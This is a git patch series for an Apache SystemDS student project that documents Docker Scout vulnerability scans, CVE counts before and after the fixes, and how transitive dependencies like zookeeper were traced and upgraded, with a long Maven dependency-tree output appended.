84 insertions(+) diff --git a/docker/SYSTEMDS-3878/scan-after-fixes/README.md b/docker/SYSTEMDS-3878/scan-after-fixes/README.md index 27bd9ce32a4..cef9fa66cfe 100644 --- a/docker/SYSTEMDS-3878/scan-after-fixes/README.md +++ b/docker/SYSTEMDS-3878/scan-after-fixes/README.md @@ -1,3 +1,24 @@ + + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli ✓ Image stored for indexing ✓ Indexed 343 packages diff --git a/docker/SYSTEMDS-3878/scan-before-fixes/README.md b/docker/SYSTEMDS-3878/scan-before-fixes/README.md index 62b85216612..b3a278d0e90 100644 --- a/docker/SYSTEMDS-3878/scan-before-fixes/README.md +++ b/docker/SYSTEMDS-3878/scan-before-fixes/README.md @@ -1,3 +1,24 @@ + +

:mag: Vulnerabilities of apache/systemds:latest

:package: Image Reference apache/systemds:latest diff --git a/docker/SYSTEMDS-3878/summary-of-changes/README.md b/docker/SYSTEMDS-3878/summary-of-changes/README.md index 643c52b4803..daa9889510f 100644 --- a/docker/SYSTEMDS-3878/summary-of-changes/README.md +++ b/docker/SYSTEMDS-3878/summary-of-changes/README.md @@ -1,3 +1,24 @@ + + # Data Integration and Large-Scale Analysis ***Student Project SYSTEMDS-3878*** \ diff --git a/docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md b/docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md index 2aefaacae53..4349d240d96 100644 --- a/docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md +++ b/docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md @@ -1,3 +1,24 @@ + + # Unfixed Vulnerabilities Report This document explains the remaining vulnerabilities in the `apache/systemds:latest` Docker image that cannot be resolved at this time due to upstream dependencies. From 41d51d55f43f6a7c3f7b4a06a3fb0047eefa2dc8 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 30 Jan 2026 11:00:32 +0100 Subject: [PATCH 26/31] [DOC][SYSTEMDS-3878] Clean documentation and remove duplicate text --- docker/SYSTEMDS-3878/README.md | 336 +++++++++- .../summary-of-changes/README.md | 581 ++---------------- 2 files changed, 360 insertions(+), 557 deletions(-) diff --git a/docker/SYSTEMDS-3878/README.md b/docker/SYSTEMDS-3878/README.md index c78af597fa0..06e7ab6cd27 100644 --- a/docker/SYSTEMDS-3878/README.md +++ b/docker/SYSTEMDS-3878/README.md @@ -178,7 +178,7 @@ By using the CVE code and reading its description, most vulnerabilities have sol One way to solve a vulerability is simply to upgrade the package the CVE happens in. > Sometimes, the package that raised the CVE is not included in the `pom.xml`. This can happen if the package is a dependency of another imported package. \ -> `mvn dependency:tree` (example output can be found [here](systemds-3878_summary-of-changes.md#output-of-mvn-dependencytree)) shows all imported packages and implicit dependencies imported by other packets. +> `mvn dependency:tree` (example output can be found [here](#output-of-mvn-dependencytree-before-any-change)) shows all imported packages and implicit dependencies imported by other packets. #### Remove or switch the packet @@ -192,7 +192,7 @@ By doing this, the parent dependency will use the explicit version instead of th As mentioned before, using the `sarif` format in scout could help identify where the vulnerale package comes from. -If this does not help, it is possible to inspect the image directly to find the related jar. Here, `apache/zookeeper` is used as reference`: +If this does not help, it is possible to inspect the image directly to find the related jar. Here, `apache/zookeeper` is used as reference: - copy container filesystem to analyze jars: ```sh @@ -213,7 +213,7 @@ If this does not help, it is possible to inspect the image directly to find the - Inspect the jars in the image for references to zookeeper `find ./filesystem_img -name '*.jar' -exec sh -c 'jar tf {} | grep -i zookeeper && echo "--- Found in {}"' \;` -- Inspect the given jar for references to zookeeper +- Inspect the local jars for references to zookeeper `jar tf ~/.m2/repository/org/apache/hadoop/hadoop-common/3.3.6/hadoop-common-3.3.6.jar | grep -i zookeeper` @@ -245,22 +245,24 @@ The output can be viewed in the [appendix](#docker-scout-helloworld-output) We managed to solve a lot of CVEs: -| FROM: | critical: 4 | high: 29 | medium: 36 | low: 9 | unspecified: 1| -| :--- | :--- | :--- | :--- | :--- | :--- | -| TO: | critical: 0 | high: 6 | medium: 8 | low: 1 | unspecified: 1 | +| FROM: | critical: 4 | high: 29 | medium: 36 | low: 9 | unspecified: 1 | +| :---- | :------------------------------------------------------------------------------- | :---------------------------------------------------------------------- | :-------------------------------------------------------------------------- | :------------------------------------------------------------------ | :------------------------------------------------------------------------------------- | +| TO: | critical: 0 | high: 6 | medium: 8 | low: 1 | unspecified: 1 | -The `scout` reports can be viewed in details: [scan-before-fixes](./scan-before-fixes/README.md), [scan-after-fixes](./scan-after-fixes/README.md). +The `scout` reports can be viewed in details: +- [scan-before-fixes](./scan-before-fixes/README.md) +- [scan-after-fixes](./scan-after-fixes/README.md) [unfixed-vulnerabilities/README.md](./unfixed-vulnerabilities/README.md) has been written to explain the last vulnerabilities that hove not been fixed and why. -### Testing -Running `mvn clean verify` after our changes returns the same output. - ### Summary of Changes -The changes made during the project have been documented: [summary-of-changes/README.md](./summary-of-changes/README.md). +The changes made during the project have been documented in the [summary-of-changes/README.md](./summary-of-changes/README.md). A detailed example on how we solved vulnerabilities is also described. + +### Testing +Running `mvn clean verify` after our changes returns the same output. -## Apendix +## Appendix ### `docker scout` helloworld output @@ -392,3 +394,313 @@ The changes made during the project have been documented: [summary-of-changes/RE ```
+ +### Output of `mvn dependency:tree` before any change + +[Return](#upgrading-the-related-package) to solving vulnerabilities + +
+ + terminal output + + ```bash + [INFO] org.apache.systemds:systemds:jar:3.4.0-SNAPSHOT + [INFO] +- org.jcuda:jcuda:jar:12.6.0:provided + [INFO] +- org.jcuda:jcublas:jar:12.6.0:provided + [INFO] +- org.jcuda:jcusparse:jar:12.6.0:provided + [INFO] +- org.jcuda:jcusolver:jar:12.6.0:provided + [INFO] +- org.jcuda:jcudnn:jar:12.6.0:provided + [INFO] +- org.jcuda:jcuda-natives:jar:windows-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcublas-natives:jar:windows-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcusparse-natives:jar:windows-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcusolver-natives:jar:windows-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcudnn-natives:jar:windows-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcuda-natives:jar:linux-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcublas-natives:jar:linux-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcusparse-natives:jar:linux-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcusolver-natives:jar:linux-x86_64:12.6.0:provided + [INFO] +- org.jcuda:jcudnn-natives:jar:linux-x86_64:12.6.0:provided + [INFO] +- org.apache.spark:spark-core_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.avro:avro:jar:1.11.2:compile + [INFO] | +- org.apache.avro:avro-mapred:jar:1.11.2:compile + [INFO] | | \- org.apache.avro:avro-ipc:jar:1.11.2:compile + [INFO] | | \- org.tukaani:xz:jar:1.9:compile + [INFO] | +- com.twitter:chill_2.12:jar:0.10.0:compile + [INFO] | | \- com.esotericsoftware:kryo-shaded:jar:4.0.2:compile + [INFO] | | \- com.esotericsoftware:minlog:jar:1.3.0:compile + [INFO] | +- com.twitter:chill-java:jar:0.10.0:compile + [INFO] | +- org.apache.xbean:xbean-asm9-shaded:jar:4.23:compile + [INFO] | +- org.apache.spark:spark-launcher_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.spark:spark-kvstore_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.spark:spark-network-common_2.12:jar:3.5.0:compile + [INFO] | | \- com.google.crypto.tink:tink:jar:1.9.0:compile + [INFO] | | \- joda-time:joda-time:jar:2.12.5:compile + [INFO] | +- org.apache.spark:spark-network-shuffle_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.spark:spark-unsafe_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.spark:spark-common-utils_2.12:jar:3.5.0:compile + [INFO] | +- javax.activation:activation:jar:1.1.1:compile + [INFO] | +- org.apache.curator:curator-recipes:jar:2.13.0:compile + [INFO] | | \- org.apache.curator:curator-framework:jar:2.13.0:compile + [INFO] | +- org.apache.zookeeper:zookeeper:jar:3.6.3:compile + [INFO] | | +- org.apache.zookeeper:zookeeper-jute:jar:3.6.3:compile + [INFO] | | \- org.apache.yetus:audience-annotations:jar:0.5.0:compile + [INFO] | +- jakarta.servlet:jakarta.servlet-api:jar:4.0.3:compile + [INFO] | +- commons-codec:commons-codec:jar:1.16.0:compile + [INFO] | +- org.apache.commons:commons-compress:jar:1.23.0:compile + [INFO] | +- org.apache.commons:commons-lang3:jar:3.12.0:compile + [INFO] | +- org.apache.commons:commons-text:jar:1.10.0:compile + [INFO] | +- commons-io:commons-io:jar:2.13.0:compile + [INFO] | +- commons-collections:commons-collections:jar:3.2.2:compile + [INFO] | +- org.apache.commons:commons-collections4:jar:4.4:compile + [INFO] | +- com.google.code.findbugs:jsr305:jar:3.0.0:compile + [INFO] | +- com.ning:compress-lzf:jar:1.1.2:compile + [INFO] | +- org.xerial.snappy:snappy-java:jar:1.1.10.3:compile + [INFO] | +- org.lz4:lz4-java:jar:1.8.0:compile + [INFO] | +- com.github.luben:zstd-jni:jar:1.5.5-4:compile + [INFO] | +- org.roaringbitmap:RoaringBitmap:jar:0.9.45:compile + [INFO] | | \- org.roaringbitmap:shims:jar:0.9.45:runtime + [INFO] | +- org.scala-lang.modules:scala-xml_2.12:jar:2.1.0:compile + [INFO] | +- org.scala-lang:scala-library:jar:2.12.18:compile + [INFO] | +- org.scala-lang:scala-reflect:jar:2.12.18:compile + [INFO] | +- org.json4s:json4s-jackson_2.12:jar:3.7.0-M11:compile + [INFO] | | \- org.json4s:json4s-core_2.12:jar:3.7.0-M11:compile + [INFO] | | +- org.json4s:json4s-ast_2.12:jar:3.7.0-M11:compile + [INFO] | | \- org.json4s:json4s-scalap_2.12:jar:3.7.0-M11:compile + [INFO] | +- org.glassfish.jersey.core:jersey-client:jar:2.40:compile + [INFO] | | +- jakarta.ws.rs:jakarta.ws.rs-api:jar:2.1.6:compile + [INFO] | | \- org.glassfish.hk2.external:jakarta.inject:jar:2.6.1:compile + [INFO] | +- org.glassfish.jersey.core:jersey-common:jar:2.40:compile + [INFO] | | +- jakarta.annotation:jakarta.annotation-api:jar:1.3.5:compile + [INFO] | | \- org.glassfish.hk2:osgi-resource-locator:jar:1.0.3:compile + [INFO] | +- org.glassfish.jersey.core:jersey-server:jar:2.40:compile + [INFO] | | \- jakarta.validation:jakarta.validation-api:jar:2.0.2:compile + [INFO] | +- org.glassfish.jersey.containers:jersey-container-servlet:jar:2.40:compile + [INFO] | +- org.glassfish.jersey.containers:jersey-container-servlet-core:jar:2.40:compile + [INFO] | +- org.glassfish.jersey.inject:jersey-hk2:jar:2.40:compile + [INFO] | | +- org.glassfish.hk2:hk2-locator:jar:2.6.1:compile + [INFO] | | | +- org.glassfish.hk2.external:aopalliance-repackaged:jar:2.6.1:compile + [INFO] | | | +- org.glassfish.hk2:hk2-api:jar:2.6.1:compile + [INFO] | | | \- org.glassfish.hk2:hk2-utils:jar:2.6.1:compile + [INFO] | | \- org.javassist:javassist:jar:3.29.2-GA:compile + [INFO] | +- io.netty:netty-transport-native-epoll:jar:linux-x86_64:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-native-epoll:jar:linux-aarch_64:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-native-kqueue:jar:osx-aarch_64:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-native-kqueue:jar:osx-x86_64:4.1.96.Final:compile + [INFO] | +- com.clearspring.analytics:stream:jar:2.9.6:compile + [INFO] | +- io.dropwizard.metrics:metrics-core:jar:4.2.19:compile + [INFO] | +- io.dropwizard.metrics:metrics-jvm:jar:4.2.19:compile + [INFO] | +- io.dropwizard.metrics:metrics-json:jar:4.2.19:compile + [INFO] | +- io.dropwizard.metrics:metrics-graphite:jar:4.2.19:compile + [INFO] | +- io.dropwizard.metrics:metrics-jmx:jar:4.2.19:compile + [INFO] | +- com.fasterxml.jackson.module:jackson-module-scala_2.12:jar:2.15.2:compile + [INFO] | | \- com.thoughtworks.paranamer:paranamer:jar:2.8:compile + [INFO] | +- org.apache.ivy:ivy:jar:2.5.1:compile + [INFO] | +- oro:oro:jar:2.0.8:compile + [INFO] | +- net.razorvine:pickle:jar:1.3:compile + [INFO] | +- org.apache.spark:spark-tags_2.12:jar:3.5.0:compile + [INFO] | \- org.apache.commons:commons-crypto:jar:1.1.0:compile + [INFO] +- org.apache.spark:spark-sql_2.12:jar:3.5.0:compile + [INFO] | +- org.rocksdb:rocksdbjni:jar:8.3.2:compile + [INFO] | +- com.univocity:univocity-parsers:jar:2.9.1:compile + [INFO] | +- org.apache.spark:spark-sketch_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.spark:spark-catalyst_2.12:jar:3.5.0:compile + [INFO] | | +- org.apache.spark:spark-sql-api_2.12:jar:3.5.0:compile + [INFO] | | | +- org.apache.arrow:arrow-vector:jar:12.0.1:compile + [INFO] | | | | +- org.apache.arrow:arrow-format:jar:12.0.1:compile + [INFO] | | | | +- org.apache.arrow:arrow-memory-core:jar:12.0.1:compile + [INFO] | | | | +- com.fasterxml.jackson.datatype:jackson-datatype-jsr310:jar:2.15.1:compile + [INFO] | | | | \- com.google.flatbuffers:flatbuffers-java:jar:1.12.0:compile + [INFO] | | | \- org.apache.arrow:arrow-memory-netty:jar:12.0.1:compile + [INFO] | | \- org.apache.datasketches:datasketches-java:jar:3.3.0:compile + [INFO] | | \- org.apache.datasketches:datasketches-memory:jar:2.1.0:compile + [INFO] | +- org.apache.orc:orc-core:jar:shaded-protobuf:1.9.1:compile + [INFO] | | +- org.apache.orc:orc-shims:jar:1.9.1:compile + [INFO] | | +- io.airlift:aircompressor:jar:0.25:compile + [INFO] | | +- org.jetbrains:annotations:jar:17.0.0:compile + [INFO] | | \- org.threeten:threeten-extra:jar:1.7.1:compile + [INFO] | +- org.apache.orc:orc-mapreduce:jar:shaded-protobuf:1.9.1:compile + [INFO] | +- org.apache.hive:hive-storage-api:jar:2.8.1:compile + [INFO] | +- org.apache.parquet:parquet-column:jar:1.13.1:compile + [INFO] | | +- org.apache.parquet:parquet-common:jar:1.13.1:compile + [INFO] | | \- org.apache.parquet:parquet-encoding:jar:1.13.1:compile + [INFO] | \- org.apache.parquet:parquet-hadoop:jar:1.13.1:compile + [INFO] | +- org.apache.parquet:parquet-format-structures:jar:1.13.1:compile + [INFO] | \- org.apache.parquet:parquet-jackson:jar:1.13.1:runtime + [INFO] +- org.apache.spark:spark-mllib_2.12:jar:3.5.0:compile + [INFO] | +- org.scala-lang.modules:scala-parser-combinators_2.12:jar:2.3.0:compile + [INFO] | +- org.apache.spark:spark-streaming_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.spark:spark-graphx_2.12:jar:3.5.0:compile + [INFO] | | \- net.sourceforge.f2j:arpack_combined_all:jar:0.1:compile + [INFO] | +- org.apache.spark:spark-mllib-local_2.12:jar:3.5.0:compile + [INFO] | +- org.scalanlp:breeze_2.12:jar:2.1.0:compile + [INFO] | | +- org.scalanlp:breeze-macros_2.12:jar:2.1.0:compile + [INFO] | | +- net.sf.opencsv:opencsv:jar:2.3:compile + [INFO] | | +- com.github.wendykierp:JTransforms:jar:3.1:compile + [INFO] | | | \- pl.edu.icm:JLargeArrays:jar:1.5:compile + [INFO] | | +- org.scala-lang.modules:scala-collection-compat_2.12:jar:2.7.0:compile + [INFO] | | \- org.typelevel:spire_2.12:jar:0.17.0:compile + [INFO] | | +- org.typelevel:spire-macros_2.12:jar:0.17.0:compile + [INFO] | | +- org.typelevel:spire-platform_2.12:jar:0.17.0:compile + [INFO] | | +- org.typelevel:spire-util_2.12:jar:0.17.0:compile + [INFO] | | \- org.typelevel:algebra_2.12:jar:2.0.1:compile + [INFO] | | \- org.typelevel:cats-kernel_2.12:jar:2.1.1:compile + [INFO] | +- org.glassfish.jaxb:jaxb-runtime:jar:2.3.2:compile + [INFO] | | +- jakarta.xml.bind:jakarta.xml.bind-api:jar:2.3.2:compile + [INFO] | | \- com.sun.istack:istack-commons-runtime:jar:3.0.8:compile + [INFO] | +- dev.ludovic.netlib:blas:jar:3.0.3:compile + [INFO] | +- dev.ludovic.netlib:lapack:jar:3.0.3:compile + [INFO] | \- dev.ludovic.netlib:arpack:jar:3.0.3:compile + [INFO] +- org.apache.hadoop:hadoop-common:jar:3.3.6:compile + [INFO] | +- org.apache.hadoop.thirdparty:hadoop-shaded-protobuf_3_7:jar:1.1.1:compile + [INFO] | +- org.apache.hadoop:hadoop-annotations:jar:3.3.6:compile + [INFO] | +- org.apache.hadoop.thirdparty:hadoop-shaded-guava:jar:1.1.1:compile + [INFO] | +- com.google.guava:guava:jar:27.0-jre:compile + [INFO] | | +- com.google.guava:failureaccess:jar:1.0:compile + [INFO] | | +- com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava:compile + [INFO] | | +- org.checkerframework:checker-qual:jar:2.5.2:compile + [INFO] | | \- org.codehaus.mojo:animal-sniffer-annotations:jar:1.17:compile + [INFO] | +- commons-cli:commons-cli:jar:1.2:compile + [INFO] | +- org.apache.httpcomponents:httpclient:jar:4.5.13:compile + [INFO] | | \- org.apache.httpcomponents:httpcore:jar:4.4.13:compile + [INFO] | +- commons-net:commons-net:jar:3.9.0:compile + [INFO] | +- javax.servlet:javax.servlet-api:jar:3.1.0:compile + [INFO] | +- jakarta.activation:jakarta.activation-api:jar:1.2.1:compile + [INFO] | +- org.eclipse.jetty:jetty-server:jar:9.4.51.v20230217:compile + [INFO] | | +- org.eclipse.jetty:jetty-http:jar:9.4.51.v20230217:compile + [INFO] | | \- org.eclipse.jetty:jetty-io:jar:9.4.51.v20230217:compile + [INFO] | +- org.eclipse.jetty:jetty-util:jar:9.4.51.v20230217:compile + [INFO] | +- org.eclipse.jetty:jetty-servlet:jar:9.4.51.v20230217:compile + [INFO] | | \- org.eclipse.jetty:jetty-security:jar:9.4.51.v20230217:compile + [INFO] | +- org.eclipse.jetty:jetty-webapp:jar:9.4.51.v20230217:compile + [INFO] | | \- org.eclipse.jetty:jetty-xml:jar:9.4.51.v20230217:compile + [INFO] | +- javax.servlet.jsp:jsp-api:jar:2.1:runtime + [INFO] | +- com.sun.jersey:jersey-core:jar:1.19.4:compile + [INFO] | | \- javax.ws.rs:jsr311-api:jar:1.1.1:compile + [INFO] | +- com.sun.jersey:jersey-servlet:jar:1.19.4:compile + [INFO] | +- com.github.pjfanning:jersey-json:jar:1.20:compile + [INFO] | | +- org.codehaus.jettison:jettison:jar:1.1:compile + [INFO] | | \- com.sun.xml.bind:jaxb-impl:jar:2.2.3-1:compile + [INFO] | +- com.sun.jersey:jersey-server:jar:1.19.4:compile + [INFO] | +- ch.qos.reload4j:reload4j:jar:1.2.22:compile + [INFO] | +- commons-beanutils:commons-beanutils:jar:1.9.4:compile + [INFO] | +- org.apache.commons:commons-configuration2:jar:2.8.0:compile + [INFO] | +- com.google.re2j:re2j:jar:1.1:compile + [INFO] | +- com.google.code.gson:gson:jar:2.9.0:compile + [INFO] | +- org.apache.hadoop:hadoop-auth:jar:3.3.6:compile + [INFO] | | +- com.nimbusds:nimbus-jose-jwt:jar:9.8.1:compile + [INFO] | | \- org.apache.kerby:kerb-simplekdc:jar:1.0.1:compile + [INFO] | | +- org.apache.kerby:kerb-client:jar:1.0.1:compile + [INFO] | | | +- org.apache.kerby:kerby-config:jar:1.0.1:compile + [INFO] | | | +- org.apache.kerby:kerb-common:jar:1.0.1:compile + [INFO] | | | | \- org.apache.kerby:kerb-crypto:jar:1.0.1:compile + [INFO] | | | +- org.apache.kerby:kerb-util:jar:1.0.1:compile + [INFO] | | | \- org.apache.kerby:token-provider:jar:1.0.1:compile + [INFO] | | \- org.apache.kerby:kerb-admin:jar:1.0.1:compile + [INFO] | | +- org.apache.kerby:kerb-server:jar:1.0.1:compile + [INFO] | | | \- org.apache.kerby:kerb-identity:jar:1.0.1:compile + [INFO] | | \- org.apache.kerby:kerby-xdr:jar:1.0.1:compile + [INFO] | +- com.jcraft:jsch:jar:0.1.55:compile + [INFO] | +- org.apache.curator:curator-client:jar:5.2.0:compile + [INFO] | +- org.apache.kerby:kerb-core:jar:1.0.1:compile + [INFO] | | \- org.apache.kerby:kerby-pkix:jar:1.0.1:compile + [INFO] | | +- org.apache.kerby:kerby-asn1:jar:1.0.1:compile + [INFO] | | \- org.apache.kerby:kerby-util:jar:1.0.1:compile + [INFO] | +- org.codehaus.woodstox:stax2-api:jar:4.2.1:compile + [INFO] | +- com.fasterxml.woodstox:woodstox-core:jar:5.4.0:compile + [INFO] | \- dnsjava:dnsjava:jar:2.1.7:compile + [INFO] +- org.apache.hadoop:hadoop-hdfs:jar:3.3.6:compile + [INFO] | +- org.eclipse.jetty:jetty-util-ajax:jar:9.4.51.v20230217:compile + [INFO] | +- commons-daemon:commons-daemon:jar:1.0.13:compile + [INFO] | +- io.netty:netty:jar:3.10.6.Final:compile + [INFO] | \- org.fusesource.leveldbjni:leveldbjni-all:jar:1.8:compile + [INFO] +- org.apache.hadoop:hadoop-client:jar:3.3.6:compile + [INFO] | +- org.apache.hadoop:hadoop-hdfs-client:jar:3.3.6:compile + [INFO] | +- org.apache.hadoop:hadoop-yarn-api:jar:3.3.6:compile + [INFO] | | \- javax.xml.bind:jaxb-api:jar:2.2.11:compile + [INFO] | +- org.apache.hadoop:hadoop-yarn-client:jar:3.3.6:compile + [INFO] | | +- org.eclipse.jetty.websocket:websocket-client:jar:9.4.51.v20230217:compile + [INFO] | | | +- org.eclipse.jetty:jetty-client:jar:9.4.51.v20230217:compile + [INFO] | | | \- org.eclipse.jetty.websocket:websocket-common:jar:9.4.51.v20230217:compile + [INFO] | | | \- org.eclipse.jetty.websocket:websocket-api:jar:9.4.51.v20230217:compile + [INFO] | | \- org.jline:jline:jar:3.9.0:compile + [INFO] | +- org.apache.hadoop:hadoop-mapreduce-client-core:jar:3.3.6:compile + [INFO] | | \- org.apache.hadoop:hadoop-yarn-common:jar:3.3.6:compile + [INFO] | | +- com.sun.jersey:jersey-client:jar:1.19.4:compile + [INFO] | | +- com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.12.7:compile + [INFO] | | \- com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:compile + [INFO] | | \- com.fasterxml.jackson.jaxrs:jackson-jaxrs-base:jar:2.12.7:compile + [INFO] | \- org.apache.hadoop:hadoop-mapreduce-client-jobclient:jar:3.3.6:compile + [INFO] | \- org.apache.hadoop:hadoop-mapreduce-client-common:jar:3.3.6:compile + [INFO] +- commons-logging:commons-logging:jar:1.1.3:compile + [INFO] +- org.apache.commons:commons-math3:jar:3.4.1:compile + [INFO] +- org.apache.wink:wink-json4j:jar:1.4:compile + [INFO] +- com.fasterxml.jackson.core:jackson-databind:jar:2.15.2:compile + [INFO] | +- com.fasterxml.jackson.core:jackson-annotations:jar:2.15.2:compile + [INFO] | \- com.fasterxml.jackson.core:jackson-core:jar:2.15.2:compile + [INFO] +- junit:junit:jar:4.13.1:provided + [INFO] | \- org.hamcrest:hamcrest-core:jar:1.3:provided + [INFO] +- org.openjdk.jol:jol-core:jar:0.10:test + [INFO] +- org.mockito:mockito-core:jar:5.1.0:test + [INFO] | +- net.bytebuddy:byte-buddy:jar:1.12.22:test + [INFO] | +- net.bytebuddy:byte-buddy-agent:jar:1.12.22:test + [INFO] | \- org.objenesis:objenesis:jar:3.3:compile + [INFO] +- com.github.stephenc.jcip:jcip-annotations:jar:1.0-1:test + [INFO] +- org.codehaus.janino:janino:jar:3.1.9:provided + [INFO] | \- org.codehaus.janino:commons-compiler:jar:3.1.9:compile + [INFO] +- org.antlr:antlr4:jar:4.8:provided + [INFO] | +- org.antlr:ST4:jar:4.3:provided + [INFO] | +- org.abego.treelayout:org.abego.treelayout.core:jar:1.0.3:provided + [INFO] | +- org.glassfish:javax.json:jar:1.0.4:provided + [INFO] | \- com.ibm.icu:icu4j:jar:61.1:provided + [INFO] +- org.antlr:antlr4-runtime:jar:4.8:compile + [INFO] +- org.apache.derby:derby:jar:10.14.2.0:provided + [INFO] +- io.netty:netty-all:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-buffer:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-dns:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-haproxy:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-http:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-http2:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-memcache:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-mqtt:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-redis:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-smtp:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-socks:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-stomp:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-codec-xml:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-common:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-handler:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-native-unix-common:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-handler-proxy:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-handler-ssl-ocsp:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-resolver:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-resolver-dns:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-rxtx:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-sctp:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-udt:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-classes-epoll:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-transport-classes-kqueue:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-resolver-dns-classes-macos:jar:4.1.96.Final:compile + [INFO] | +- io.netty:netty-resolver-dns-native-macos:jar:osx-x86_64:4.1.96.Final:runtime + [INFO] | \- io.netty:netty-resolver-dns-native-macos:jar:osx-aarch_64:4.1.96.Final:runtime + [INFO] +- net.sf.py4j:py4j:jar:0.10.9:compile + [INFO] +- com.google.protobuf:protobuf-java:jar:3.23.4:compile + [INFO] +- com.google.protobuf:protobuf-java-util:jar:3.23.4:compile + [INFO] | +- com.google.errorprone:error_prone_annotations:jar:2.18.0:compile + [INFO] | \- com.google.j2objc:j2objc-annotations:jar:2.8:compile + [INFO] +- org.slf4j:slf4j-api:jar:2.0.11:compile + [INFO] +- org.slf4j:slf4j-reload4j:jar:2.0.11:compile + [INFO] +- org.slf4j:jul-to-slf4j:jar:2.0.11:compile + [INFO] +- org.slf4j:jcl-over-slf4j:jar:2.0.11:compile + [INFO] +- org.apache.logging.log4j:log4j-api:jar:2.22.1:compile + [INFO] +- org.apache.logging.log4j:log4j-core:jar:2.22.1:compile + [INFO] \- ch.randelshofer:fastdoubleparser:jar:0.9.0:compile + [INFO] ------------------------------------------------------------------------ + [INFO] BUILD SUCCESS + [INFO] ------------------------------------------------------------------------ + [INFO] Total time: 59.447 s + [INFO] Finished at: 2025-12-08T10:24:00+01:00 + [INFO] ------------------------------------------------------------------------ + ``` +
diff --git a/docker/SYSTEMDS-3878/summary-of-changes/README.md b/docker/SYSTEMDS-3878/summary-of-changes/README.md index daa9889510f..832e6c110a4 100644 --- a/docker/SYSTEMDS-3878/summary-of-changes/README.md +++ b/docker/SYSTEMDS-3878/summary-of-changes/README.md @@ -36,38 +36,37 @@ Scout recommends upgrading the package to `3.7.2`, `3.8.3`, or `3.9.1`. \ [Releases](https://zookeeper.apache.org/releases.html): `3.7.2` already reached its EoL. - Apache zookeeper is not directly imported in the project. The vulnerability is raised transitively by another dependecy. \ - `mvn dependency:tree` shows all implicit dependencies (see the [appendix](#output-of-mvn-dependencytree) for the output). \ - The responsible dependency seems to be the apache spark-core package. - - ```bash - [INFO] org.apache.systemds:systemds:jar:3.4.0-SNAPSHOT - [INFO] +- org.apache.spark:spark-core_2.12:jar:3.5.0:compile - [INFO] | +- org.apache.zookeeper:zookeeper:jar:3.6.3:compile - ``` - - From the documentation [Spark Project Core](https://mvnrepository.com/artifact/org.apache.spark/spark-core_2.13/4.0.1): Version `3.5.x` uses zookeeper `3.6.3`. \ - The version `4.0.x` uses zookeeper `3.9.3` which still has a known vulnerability. - - Spark-core `4.1.0` uses the latest version `3.9.4` of zookeeper. + Apache zookeeper is not directly imported in the project. The vulnerability is raised transitively by another dependecy. \ + `mvn dependency:tree` shows all implicit dependencies (see the [appendix](../README.md#output-of-mvn-dependencytree-before-any-change) for the output). \ + The responsible dependency seems to be the apache spark-core package. + + ```bash + [INFO] org.apache.systemds:systemds:jar:3.4.0-SNAPSHOT + [INFO] +- org.apache.spark:spark-core_2.12:jar:3.5.0:compile + [INFO] | +- org.apache.zookeeper:zookeeper:jar:3.6.3:compile + ``` - By inspecting the jars, it has been found out that zookeeper is also used by `hadoop-common` - - Resolve Vulnerability + From the documentation [Spark Project Core](https://mvnrepository.com/artifact/org.apache.spark/spark-core_2.13/4.0.1): Version `3.5.x` uses zookeeper `3.6.3`. \ + The version `4.0.x` uses zookeeper `3.9.3` which still has a known vulnerability. - Two ideas to solve the vulnerability: + Spark-core `4.1.0` uses the latest version `3.9.4` of zookeeper. - - Upgrade `spark-core` - - 